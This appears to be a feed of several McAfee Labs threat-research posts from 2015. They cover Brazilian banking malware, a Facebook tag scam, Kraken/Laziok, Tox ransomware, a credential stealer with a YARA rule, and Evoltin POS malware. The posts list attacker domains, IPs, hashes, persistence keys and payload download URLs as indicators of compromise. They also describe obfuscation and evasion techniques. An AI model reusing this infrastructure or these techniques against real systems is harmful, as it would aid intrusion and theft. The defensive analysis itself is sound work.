Another piece of information found in many samples of decompiled source code seems to indicate a possible author. These samples have a constant field defined in the code that is used as password to decrypt the strings throughout the code. Although some samples change this value, most of them use what seems to be a default value:

VB.Net snippet showing constant field found in the malware’s code.

In many samples, the name Kayce Buarque or parts of it appears in other parts of the code, though one sample had this value changed to a funny string:

Snippet of code showing a different password used in one sample.

The string is in Portuguese and says “listening to Fagner’s Fanatismo.” Fagner is a popular singer in Brazil and the song “Fanatismo” is one of his biggest successes.

Indicators of Compromise
This malware spreads mainly by email attachments. Filenames are often common strings in Portuguese related to financial terms. We have seen the following filename patterns in recent campaigns:

• Curriculum-Vitae-*.exe
• Boleto*.exe
• Anexo-ID*.exe
• OrcamentoPDF*.exe

The wildcard portions can be replaced by either a full name or by a numeric value, usually indicating a date.

Another method of infection is to use a link in the email for the user to download the malware. The attackers mainly use Google Docs or Dropbox to store the malicious samples.

Once executed, the malware will connect to the database servers. All the known samples for this family use the same server farm, accessed through the following domain patterns:

• Dbsq*.whservidor.com:1433
• Whl*.whservidor.com <:80 or :443>
• ftp*.whservidor.com:21

These domains are registered to Universo Online, a Brazilian host provider:

Whois information for the host provider affected by the hack. These servers appear to be compromised and had malicious accounts created on them.

Because the accounts used for these malware samples don’t stay online for very long, it is probable that these are compromised database servers used by the hackers without the provider’s consent.

The malware installs itself under the following Run key:

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

The files are dropped under one of the following folders:

• %TEMP%
• %APPDATA%

(Where %TEMP% indicates the user temporary folder, usually C:\Documents and Settings\<username>\Local Settings\Temp on Windows XP, and C:\Users\<username>\AppData\Local\Temp on Windows Vista and later. %APPDATA% refers to the user profile folder, C:\Documents and Settings\<username>\Application Data on XP and C:\Users\<username>\AppData\Roaming on Vista and later.)

The filenames used by the malware may vary, but most of the time they include the machine name:

• <machinename>.exe
• new<machinename>XXX.exe

A file with same name as the binary but with extension .GLP is also created under the same folder to store temporary data.

Our investigations of this malware family continue. As usual, good security practices and keeping your security products up to date are the best way to stay protected. For malware distributed through email, remember the following points:

• Do NOT open .zip attachments unless you have requested them from the sender. View the email header or send a separate email to validate the sender before opening attachments.
• Do NOT click embedded hyperlinks in email. Although this threat is normally sent as an attached .zip, it could also be downloaded by visiting malicious websites.
• Report suspect email to your organization’s security operations center. Remind your employees how and where to safely submit suspicious email.

Intel Security products detect this threat as PWS-FCBK.

The post Brazilian Banking Malware Hides in SQL Database appeared first on McAfee.

McAfee Labs recently found a suspicious Android game application hosted on Google Play. The app name is “Kunt u Vang de tovenaar” (“Can you catch the wizard” in ungrammatical Dutch) offered by “AppstoreVN Team.” During our analysis of the app we discovered several suspicious functions during game play.

The first suspicious behavior is the use of a .vn top-level domain (for Vietnam) in the app configuration file apk.properties, although the app title and descriptions on Google Play are based in the Netherlands.

Actually, the website is Vietnam’s Android app market, which hosts many apps including famous and well-known titles such as Gmail, Angry Birds, and Facebook.

The first app in this package is just a downloader for a legitimate game but it contains advertising components. “Cài Facebook” (“Setting Facebook” in Vietnamese) is a downloader application for Facebook that downloads the legitimate app from the Vietnamese market (not from the official Google Play store).

As we always advise, users must be careful about installing apps from untrusted sources. Malicious apps are commonly found in these locations and can lead to device damage or a loss of data.

The second suspicious element of this package is that the app employs Android’s device admin function, which is typically used for remote lock, remote wipe, and handling password policies—a very strong privilege to protect a device, especially if it is lost. On the other hand, ransomware and other malware occasionally abuse this privilege, locking the device to extort money from the victim, as my colleague Lianne Caetano reported in this post.

The on-off status of device admin is reported to the Vietnamese app market by the APKTracker class in the application. It is possible to request “set storage encryption” to encrypt application data based on the app’s device admin policy.

It is not common for gaming apps to require the device admin function. The current version of this app appears to have no harmful behavior, but it’s feasible that future updates could be malicious, and it would be easy for the app to leverage this privilege for some malicious behavior.

Is this just a poorly designed app? Or is this a suspicious app waiting for the opportunity to attack after many users have installed it? McAfee Mobile Security detects this Android threat and informs customers if the app is present, while protecting them from any unexpected incidents.

The post Mobile Game Comes With Unwanted Behaviors appeared first on McAfee.

This post was written with the invaluable assistance of Steve Watson of Intel.

On April 14, Verizon released its 2015 Data Breach Investigations Report (DBIR). Since then, McAfee Labs posted three blogs (here, here, and here) expanding on the DBIR’s Appendix D discussion of the security of the Internet of Things.

In this final blog discussing IoT security, we outline things businesses can do to prepare for the onslaught of IoT devices in their trusted networks.

Classify your networked physical environment

Are you deploying IoT devices to showcase these new technologies, optimize and automate routine tasks, or enable remote monitoring of environments? Compromising a fancy IoT device–controlled lighting display is a low-risk concern, but if the IoT device controls security lights outside a building or a large commercial refrigeration unit, then the risk is much greater.

Businesses should develop risk-based security classifications and considerations that extend beyond data and systems to networked physical environments. Everyone would agree that life-safety systems have a higher consideration than the person counter at the door of the office break room, but what about the lighting controls for the stairwell or the notification of a leak in the boiler room?

Segment (isolate) the IoT network and actively monitor that network

By isolating IoT devices onto a separate network or subnet, you can mitigate the risk of these devices in production networks. In the event of compromise, the entire IoT implementation can be managed rather than hunting for the devices among other end nodes. An important consideration regarding network isolation is that some devices will need to be multihomed across different network protocols. As noted in our second blog, an IoT device can act as a bridge between protocols, so complete isolation extends beyond the segmentation of that device on a TCP/IP network.

Evaluate IoT in light of the “cyber kill chain” principles

Lockheed Martin popularized the concept of a cyber kill chain and it has been widely used by the security community to describe the different stages of cyberattacks. The model defines seven phases of threats that can be applied to IoT devices in a network—much as the model has been applied to traditional servers and endpoints in that network.

Let’s apply the model to an evaluation of an IoT device: What level of intrusion is possible using the device? Today many IoT devices are likely limited to the Reconnaissance phase because they have not been fully dissembled to uncover vulnerabilities. We should anticipate that compromises may be imminent over the air, Internet, and physical access—moving some IoT devices into the Weaponization and Delivery phases. Once vulnerabilities are identified, attackers will seek to weaponize IoT exploits and then determine how they can be delivered.

Consider the simplicity of a backdoor attack on an IoT device running a modified Android version with limited security controls in place. Does the technical team know which operating system the IoT device is running? Will they be able to detect that a different ROM has been uploaded to the IoT device or know that it was different?

A significant unknown in the threat research community is whether compromise can occur from non-TCP/IP networks to the trusted TCP/IP networks. If an IoT device speaks to node devices via Zigbee or Thread and also has a traditional TCP/IP address, will it be possible to exploit the IoT device from the non-TCP/IP side, completely bypassing network monitoring and analysis?

We also don’t know whether an attacker could compromise multihomed IoT devices, thus accessing sensors, relays, or actuators on the other side of isolated IoT networks.

Compromise from IoT nodes to a TCP/IP network moves from right to left in the following diagram. It might be possible for an attacker to send malformed packets on the IoT node mesh network through the IoT device onto the TCP/IP network. It is easy to imagine a distributed denial of service attack on the TCP/IP network originating from a mesh network.

Compromise from a TCP/IP network to IoT nodes moves from left to right in the diagram. It is similarly easy to imagine an attacker who has gained access to the TCP/IP network triggering actuators on the IoT network, wreaking all sorts of havoc as a result.

These are new threat vectors introduced with the deployment of IoT devices with insufficient research to understand what is possible.

While businesses should be familiar with network monitoring and normalization on their networks, limited options exist for monitoring non-TCP/IP network implementations. If a network compromise occurs on the alternate wireless protocols, will it be possible to detect the attack?

IoT developers must understand where their devices fit into the network

IoT devices will not exist in a vacuum. These devices will sit alongside computing nodes on complex networks. Consequently, developers of IoT devices should understand and architect secure designs into their products. The OWASP list of attack surfaces referenced in our second blog identifies key security areas and details how IoT device developers can mitigate those security risks.

Developers should also keep a careful eye on emerging IoT security standards. Google, Intel, Qualcomm, GE, and others are working on standards, but this area is far from settled. The key thing is to embrace and support those standards as they emerge.

IoT devices are coming to a network near you, so planning and preparation are essential. Learn more about Intel’s approach to IoT devices and their security here.

The post Verizon Report Foreshadows Breaches Originating With IoT Devices, Part 4 appeared first on McAfee.

This post was written with the invaluable assistance of my colleague Rakesh Sharma.

Intel security has recently observed a malware spreading through Facebook. This type of malware is not new, but it keeps evolving using new spreading mechanisms.

A few days ago, we came across a Facebook post with this subject:

[Username] shared a link – with [Another username] and 19 others

The link was disguised as a pornographic video to entice viewers. We have found that a number of people are infected by this malware.

This malware uses the following script to get the user id and Facebook DTSG value:

The fb_dtsg is a request identifier that is unique to each Facebook request. It is also known as a cross-site request forgery (CSRF) token. (A CSRF is a type of malicious exploit of a website in which unauthorized commands are transmitted from a user that the website trusts. You can read more about CSRF here).

The following malware code randomly selects friends to tag:

The following script selects a random porn image from its control server and displays it to the user:

This scam lures curious Facebook users to the compromised website, which then attempts to trick them into installing malicious browser extensions and other malware to view the adult video. When users visit the link to view the video, the malware prompts them to download a fake Adobe Flash Player update, which in turn downloads the executable servant.exe on the victims’ machines in the %appdata% folder and executes it.

We can see the actual payload, downloaded from hxxp://exusers.com, in the network traffic shown below. Facebook is already aware of this malicious domain and is working out with their antimalware partners to detect this malware.

The downloaded payload creates a run registry entry to execute itself every time Windows starts.

The payload also creates the following files on a victim’s machine:

• c:\documents and settings\administrator\application data\microsoft\protect\S-1-5-21-117609710-1801674531-725345543-500\preferred
• c:\documents and settings\administrator\application data\microsoft\protect\s-1-5-21-1844237615-2111687655-839522115-500\4532158e-ef11-42f9-813c-ddbb4f02c848

This behavior gives the malware author backdoor access to the system.

After successful installation and delivery, the malware modifies victims’ browsers to keep the malware updated and to block users from accessing certain security websites. The malicious browser extension blocks URLs that include any of the following keywords:

While browsing these, victims may see the following error message:

This malware is different from other social media malware in some techniques. Previously this type of malware spread through victims’ chat windows and infected victims’ friends. Once victims’ friends are infected, the malware could go one step further and infect the friends of the initial victims’ friends. The following screen shows how the malware was propagated through chat messages:

With this new technique, the malware gains more visibility with potential victims as it tags 20 friends of each victim in the malicious post instead of sending personal chat requests. In this case, the tag may be seen by friends of the victim’s friends as well, which leads to a larger number of potential victims. Thus the malware propagates more quickly.

In addition to keeping antimalware protection up to date, users should practice safe browsing techniques, such as avoiding unfamiliar links that redirect outside of Facebook, even if those links are shared by a trusted friend.

Intel security detects this malware as BackDoor-FBUS starting with DAT Version 7781.

The post Malware Spreads Through Facebook Tag Scam appeared first on McAfee.

In recent days, much has been said and written around the recently disclosed “Venom” vulnerability. It is important to fully understand the real-world severity of vulnerabilities such as Venom. Although the threat is potentially severe and certainly interesting (it is in a class of relatively rare guest escapes from virtual machines), one has to take into account the existing attack surface, mitigation, and other factors. In other words, “exposure” must be taken into account when discussing this (or any) vulnerability or attack.

Vulnerability

The Venom vulnerability refers to a flaw in the QEMU FDC (floppy disk controller), which is enabled in the default configuration of Xen and KVM virtualization platforms. QEMU is an open-source package with widespread adoption, the scope of which is not fully quantifiable. This vulnerability can be triggered even in configurations in which a floppy device is not present or configured. The flaw potentially allows an attacker to “escape” a guest virtual machine host and gain access to and control of the physical host. This is a privilege escalation vulnerability. In a virtualized environment where the guest can escape to the host, this threat takes on a greater impact. In a successful exploitation, the attack could potentially execute arbitrary code on the underlying host, read and monitor memory contents (exposing sensitive data from guest VMs), or invoke a denial of service on the host (again, affecting all guests).

Exploitation

An attacker must have local/authenticated root access to a guest VM. Now, this could take on many forms. This can be achieved directly if the attacker, for example, establishes his own “cloud-based” VM instance and directly runs exploit code in that instance. It can also, potentially, be done indirectly if the attacker entices a user on a cloud-based VM instance to execute malicious code via a drive-by download or similar method. Limited proof-of-concept exploit code has been released, but it is limited in function and execution and does not trigger and exploit this scenario in all expected conditions. We have yet to see (as of this writing) any additional exploit attempts, or in-the-wild malware-based exploitation.

Exposure

This is where we have to think about existing surface, mitigation, and other factors that come into play. Amazon (AWS) and several other services have released statements saying that they are not vulnerable. Other providers (such as Digital Ocean and RackSpace) have released statements regarding their patching process (most of which appear to be complete) and any remaining actions that need to be taken by users. So because this flaw was handled responsibly and affected vendors were given time to react, a great deal of mitigation has already taken place–greatly minimizing the exposed attack surface.

Mitigation

Patches are available from Xen, QEMU, and others that use the affected technology.

• Xen: http://xenbits.xen.org/xsa/advisory-133.html
• QEMU: http://git.qemu.org/?p=qemu.git;a=commitdiff;h=e907746266721f305d67bc0718795fedee2e824c

Intel Security and McAfee Labs will continue to analyze this threat and provide updates to this blog as new details emerge.

The post Understanding the Scope of Venom (CVE-2015-3456) appeared first on McAfee.

Lately, McAfee Labs has observed a lot of active samples detected as Trojan Laziok by many security vendors. According to online reports, the Trojan Laziok is dropped via an exploit of the Microsoft Windows Common Controls ActiveX Control Remote Code Execution Vulnerability (CVE-2012-0158), which arrives via a spam email. In contrast, we have identified the dropped Trojan as part of the Kraken HTTP botnet. These samples have similar functionality to that described by online reports about Laziok (such as dropping itself under an Oracle directory with well-known names, collecting system information like CPU, RAM, antimalware installed, and network communication with multiple GET requests). Also the builder and panel for the Kraken HTTP bot have been leaked recently on the Internet, confirming similarities between Laziok and Kraken.

We have seen very active samples (detected as Laziok by multiple security vendors) with its malicious server running. We will classify these samples as a botnet, rather than a Trojan, throughout this post and will focus on its control server communications.

Let’s start with the basics: The bot has lots of hardcoded strings, some of which are in encrypted/encoded formats. The bot has some antianalysis checks that search for virtual environments such as VirtualBox, VMware, etc. It also checks for packet-capturing tools like Wireshark and Fiddler, by looking into desktop windows opened as shown below:

Once all checks are bypassed, the bot creates a mutex with the name “yourhavebecracked”:

The bot then drops itself with the process name smss.exe under the directory %APPDATA%\System\Oracle. The following image shows some registry and system activities carried out by this bot:

The bot also scan for installed antimalware applications by scanning several program directories. Here are the different hardcoded string names used for scanning:

Once a system is infected, the malware sends a number of GET requests to its control server to check infected system details:

It then collects system information: installations of steam, Java, or .net, CPU, computer name, IP, country, RAM information, etc. The bot sends the information through two more GET requests:

The bot uses “crackim” as a hardcoded user-agent string. The control server checks for the entry and replies with “Statistics Ok!” if the victim’s details are not found in the database. Once it creates a new infection, the bot makes another GET request asking for commands to execute:

The server’s response is to download and execute files from another compromised server. The bot informs its control server by yet another GET request:

The bot pings its control server with more GET requests:

The bot can also steal FTP passwords; a few hardcoded strings show us how it succeeds:

Post Infection

After the primary infection, the bot continues, as we have shown in the preceding images. The main bot downloads additional binaries from other servers, namely cryp.exe and cc.exe. At the time of this analysis only cc.exe (MD5: BED4C44F4A2BDDDE3A419173583EE297) was available on the compromised server. The bot installs this binary to further attack the compromised system. Here is an interesting string found in the downloaded cc.exe binary:

This string in cc.exe suggests that this downloaded malicious binary use the DarkEye Version 3 cryptor, which is not cheap. The description in the cryptor blog says “THIS IS A SECURITY SOFTWARE AND ITS USE IS TO PROTECT YOUR FILES AGAINST REVERSE ENGINEERING.” The file cc.exe appears to be a remote administrator tool (RAT) written in .NET that collects more information from the victim. The RAT runs under the name svchost.exe using process replacement. The RAT has hardcoded strings, too, including host and port. Here is a screenshot of the .NET disassembly:

The RAT first sends information about system–computer name, logged-in user, OS–along with active window names opened on Port 9003. It sends some information in plain text and some in Base64 (mainly the open active windows):

The RAT keeps on sending data on Port 9003 whenever a new window opens. Thus the attacker not only collects system information but can also learn if the RAT is being analyzed by examining the window names. The RAT supports more capabilities, such as downloading and executing binaries, updating itself, capturing screens, and uninstalling, as shown below in disassembly:

In this way the attacker can later spy on the infected system to gain further information. Even though the bot is not complex, it is effective in carrying out these attacks. Due to the leaked builder and panel for the Kraken HTTP bot, we may see lots of new infections from this botnet in the future.

Intel Security customers with McAfee products are already protected from this threat.

The post Kraken/Laziok HTTP Bot Controls Victims With Remote Admin Tool appeared first on McAfee.

The packaging of malware and malware-construction kits for cybercrime “consumers” has been a long-running trend. Various turnkey kits that cover remote access plus botnet plus stealth functions are available just about anywhere. Ransomware, though very prevalent, has not yet appeared in force in easy-to-deploy kits.

But now we have Tox–and it’s free.

While sifting though our stream of “dark web” data, McAfee Labs found Tox on May 19. It was updated on May 21 with a new FAQ and an updated design. But the core did not change.

Salient Points:

• Tox is free. You just have to register on the site.
• Tox is dependent on TOR and Bitcoin. That allows for some degree of anonymity.
• The malware works as advertised.
• Out of the gate, the standard of antimalware evasion is fairly high, meaning the malware’s targets would need additional controls in place (HIPS, whitelisting, sandboxing) to catch or prevent this.

Once you register for the product, you can create your malware in three simple steps.

• Enter the ransom amount. (The site takes 20% of the ransom.)
• Enter your “cause.”
• Submit the captcha.

This process creates an executable of about 2MB that is disguised as a .scr file. Then the Tox “customers” distribute and install as they see fit. The Tox site (on the TOR network) will track the installs and profit. To withdraw funds, you need only supply a receiving Bitcoin address.

Upon execution, the malware encrypts the victims’ data and prompts them for the ransom, including the Bitcoin address for sending payment.

Technical Information

Although easy to use and functional, the malware appears to lack complexity and efficiency within the code.

Tox malware portable executable sections.

The developer has left several identifying strings within the code. Examples:

• C:/Users/Swogo/Desktop/work/tox/cryptopp/secblock.h
• C:/Users/Swogo/Desktop/work/tox/cryptopp/filters.h
• C:/Users/Swogo/Desktop/work/tox/cryptopp/cryptlib.h
• C:/Users/Swogo/Desktop/work/tox/cryptopp/simple.h

Tox-generated malware is compiled in MinGW and uses AES to encrypt client files via the Crypto++ library.  The Microsoft CryptoAPI is used for key generation.

Network Information

The malware first downloads Curl and the TOR client:

• hxxp://www.paehl.com/open_source/?download=curl_742_1.zip
• hxxp://dist.torproject.org/torbrowser/4.5.1/tor-win32-0.2.6.7.zip

All downloaded files and artifacts are stored in the following path:

• C:\Users\<username>\AppData\Roaming\

After execution, Tox will start TOR in SOCKS5 proxy mode with the following command-line parameters:

-socks5-hostname 127.0.0.1:9050 –data \

We don’t expect Tox to be the last malware to embrace this model. We also anticipate more skilled development and variations in encryption and evasion techniques.

We thank Alexander Matrosov of the Intel Advanced Threat Research team for his assistance with this research.

The post Meet ‘Tox': Ransomware for the Rest of Us appeared first on McAfee.

Selling stolen data is an easy way for cybercriminals to make some quick money on cyber black markets.

The following flowchart shows a generic credential-stealing campaign in action. In the last step, the flow is bidirectional. The malware makes a two-way authentication-free connection between the victim and the attacker.

This two way connection not only seamlessly delivers the stolen data to malware servers, but it also makes sure the malware can communicate with the infected system and remotely execute commands. However, one major flaw with this approach is that in addition to the malware author reaching the victim, an aware “victim”–such as a honeypot or a malware researcher–can make use of this connection to access and hack the malware author’s server.

Let’s look at a similar case: McAfee Labs found a bunch of malware samples connecting to a site hosted on third-party domain provider “z********.esy.es.” Some of the hashes had a fresh compilation timestamp, suggesting that the malware samples were created very recently. The following picture shows one of the recent compile dates:

The malware author uses fancy encryption schemes to conceal the control server that holds the stolen data. Here is a section of the decryption loop module:

After reversing the binary, we found that the malware uses the following function F(x) to conceal the domain:

F(x) = A(key1[i]) XOR B(A(key2[i])) > B(A(key2[i-1])) ? A(key1[i]) XOR B(A(key2[i])) – B(A(key2[i-1])) : (A(key1[i]) XOR B(A(key2[i])) + 0xff) – B(A(key2[i-1]))

In which A(x) is a function to remove zeroes from unicode, B(x) is a function to convert hex data to a string by clubbing two numbers to form a byte, Key1[] and Key2[] are two buffers of hardcoded keys, and “i” is a counter that starts from 1 and increments with each iteration.

To illustrate, let’s decrypt “3” of the address from the key values, assuming the loop has already run I times.

Key1[] = 42 00 56 00

A(Key1[]) = 42 56 ( Unicode removed )

So A[Key1[i]) = 42

A(Key2[]) = 44 30 34 36 ( Unicode removed )

B(A[Key2[]) = D046 i.e. D0 46 ( String conversion followed by hex)

B(A[Key2[i-1] = D0

B(A[Key2[i] = 46

(key1[i]) XOR B(A(key2[i])) = 42 xor 46 = 04

B(A(key2[i-1])) = D0

 04 > D0 is False, so output will be second condition.

So f(x) = (04 + ff )- d0 = 33 .

0x33 = “3” i.e., the 3 of “z********.esy.es”

The preceding calculations illustrate one iteration, by looping the functions over and over, we come across the whole decrypted url: z********.esy.es.

This looks a good effort from the malware author to conceal the attack from static analysis, but when we take the behavioral approach we can see that all hashes are continuously connecting to the malware-specific site. The connection shows the malware was hosted on the third-party domain Hostinger. Using a third-party site is convenient for malware authors, who can periodically change the domain names and remain concealed. The following is an overview of the domain, hosting, and ASN information:

When we connected to the control server, we were surprised to see a number of dumped logs, each representing a compromised user:

Each log gives a list of credentials of various accounts. Most victims have opened sites related to Brazil and the malware author uses Portuguese on his server.

Following is a snippet of leaked account data:

Here is a YARA rule to identify this campaign:

 rule CredStealESY : For CredStealer

{

 meta:

description = “Generic Rule to detect the CredStealer Malware”

author = “IsecG – McAfee Labs”

date = “2015/05/08″

strings:

$my_hex_string = “CurrentControlSet\\Control\\Keyboard Layouts\\” wide //malware trying to get keyboard layout

$my_hex_string2 = {89 45 E8 3B 7D E8 7C 0F 8B 45 E8 05 FF 00 00 00 2B C7 89 45 E8} //specific decryption module

 condition:

$my_hex_string and $my_hex_string2

}

McAfee Labs has contacted the authorities to take action against this website and its author.

McAfee customers are already protected from this threat via DAT signature CredSteal-ESY!

McAfee website reputation software flags this site and raises a trigger to make sure customers do not land on this page.

Special thanks to my colleague Christiaan Beek for his invaluable input.

The post When Hackers Get Hacked: the Malware Servers of a Data-Stealing Campaign appeared first on McAfee.

Intel Security today released the McAfee Labs Threats Report: May 2015. Along with the usual compilation of threats statistics, it focuses on three key topics:

• A surge in powerful and clever ransomware that encrypts files and holds them hostage until the ransom is paid.
• New Adobe Flash exploits target the growing number of vulnerabilities that have not been patched by users or enterprises.
• Persistent and virtually undetectable attacks by the Equation Group that reprogram hard disk drives and solid state drive firmware.

The Equation Group: exploiting hard disk and solid state drive firmware

In February, news broke about a rare but extremely sophisticated attack campaign. The “Equation Group,” named for their affinity for complex encryption schemes, is thought to be behind the attacks. The most alarming discovery is that the Equation Group’s malware includes hard disk drive and solid state drive reprogramming modules. Once reprogrammed, a compromised system remains infected even if the hard drive is reformatted or the operating system is reinstalled. Further, the reprogrammed firmware and associated malware are undetectable by security software. This marks the first time in a Threats Report that McAfee Labs has examined a firmware-based attack.

We also focus on two familiar faces—ransomware and Adobe Flash exploits—because McAfee Labs saw massive increases in new samples this quarter from both types of threat.

Ransomware returns: new families emerge with a vengeance

For ransomware, we attribute much of its growth to a new, hard-to-detect ransomware family—CTB-Locker—and its use of an “affiliate” program to quickly flood the market with phishing campaigns, leading to CTB-Locker infections. With the newly discovered Tox malware, an off-the-shelf application that lets users build their own ransomware, we expect ransomware to continue its meteoric rise.

Adobe Flash: a favorite of designers and cybercriminals

McAfee Labs attributes the rise in Flash exploits to the steady increase in the number of Flash vulnerabilities; user and enterprise delay in the application of software patches for those vulnerabilities; new, creative methods to exploit them; a steep increase in the number of mobile devices that can play Flash .swf files; and the difficulty of detecting Flash exploits.

Enterprise delay in patching software was highlighted in a recent report from NopSec. NopSec cross-correlated data from the National Vulnerability Database’s CVE system, which documents known vulnerabilities, with data from their own customers’ environments. They found that the fastest average time to remediation was 50 days in the case of cloud providers. For financial services providers, the average time to remediation was an astounding 176 days. Unpatched vulnerabilities represent an incredible window of opportunity for cybercriminals.

For more information on these and other topics, read the McAfee Labs Threats Report: May 2015.

The post McAfee Labs Threats Report Highlights Surge in Ransomware, Flash Exploits, Firmware Attacks appeared first on McAfee.

This post was written with the invaluable assistance of my colleague Rakesh Sharma.

Over the past couple of months McAfee Labs has seen an increase in the usage of macros to deliver malware. This kind of malware, as mentioned in previous posts (Dridex, Bartallex), usually arrives as an attached document within a phishing email. Recently McAfee labs came across a point-of-sale (POS) malware that spreads through malicious macros inside a doc file. This macro comes into users’ systems through a spam email with subjects such as “My Resume,” “Openings,” Internship,” etc. and an attached Microsoft Word file, some with names like these:

• my_resume_8960.doc
• my_resume_42123.doc
• my_resume_63863.doc
• my_resume_9052.doc
• cv_76475.doc

When these doc files are opened, they download and run the POS malware on the victim’s machine. When a user tries to open the malicious doc file, Word asks whether the user wants to enable macros. If enabled, this threat will execute.

Upon extracting the macros, we can see that the contents of the macro are obfuscated to hinder their detection.

Upon execution, the malware downloads the payload dro.exe (Md5: 6cdd93dcb1c54a4e2b036d2e13b51216) from its control server (80.242.123.155).

This IP is already flagged by many AV vendors:

When run, the file copies itself into %temp% as defrag.scr using the NTFS Alternate Data Streams technique, which can put data into files and folders without affecting their functionality. These files and folders are not visible when viewed through conventional methods or commands such as Windows Explorer, the dir command, or any other file browser tools—hiding the malicious components from detection. The file also drops a .vbs file as shown:

A code snippet:

The .vbs file contains code to load and execute the malicious process again if it is terminated. The following screenshot shows this code:

The simply obfuscated macro code, combined with the way the scripts are written, indicates that this malware has been written by a novice author. This malware executes with the command-line argument “-“. If the malware doesn’t find this argument, it exits:

The malware also connects to the following control servers:

• systeminfou48.ru
• infofinaciale8h.ru
• helpdesk7r.ru

All these domains resolve to same IP address: 146.185.221.31.

The malware sends the victim’s PC name, GUID, etc. through HTTP Post to the remote server. A code snippet:

If the malware doesn’t find card-related information, it sleeps for five minutes and then starts the search process again:

If successful, the malware encrypts the information before sending it to the control server:

The malware contains hardcoded strings such as “nit_love” and “HWAWAWAWA,” which might be used as a campaign identifier. We gave this malware the name Evoltin, which is the hardcoded string nit_love in reverse.

The malware uses mailslot for one-way InterProcess Communication between processes both locally and over a network. It can also store the track information and stolen data in mailslot and send the data to its control server using a POST request.

The malware creates a run registry entry to execute itself every time Windows starts:

Because the malware installs itself in the %temp% directory, users can configure and test Access Protection Rules in McAfee VirusScan Enterprise to restrict the creation of new files and folders when there are no other legitimate uses:

Intel Security products detect the malicious macro and the payload as W97M/Downloader.aht and Evoltin POS with DAT Version 7823 and later.

The post ‘Evoltin’ POS Malware Attacks via Macro appeared first on McAfee.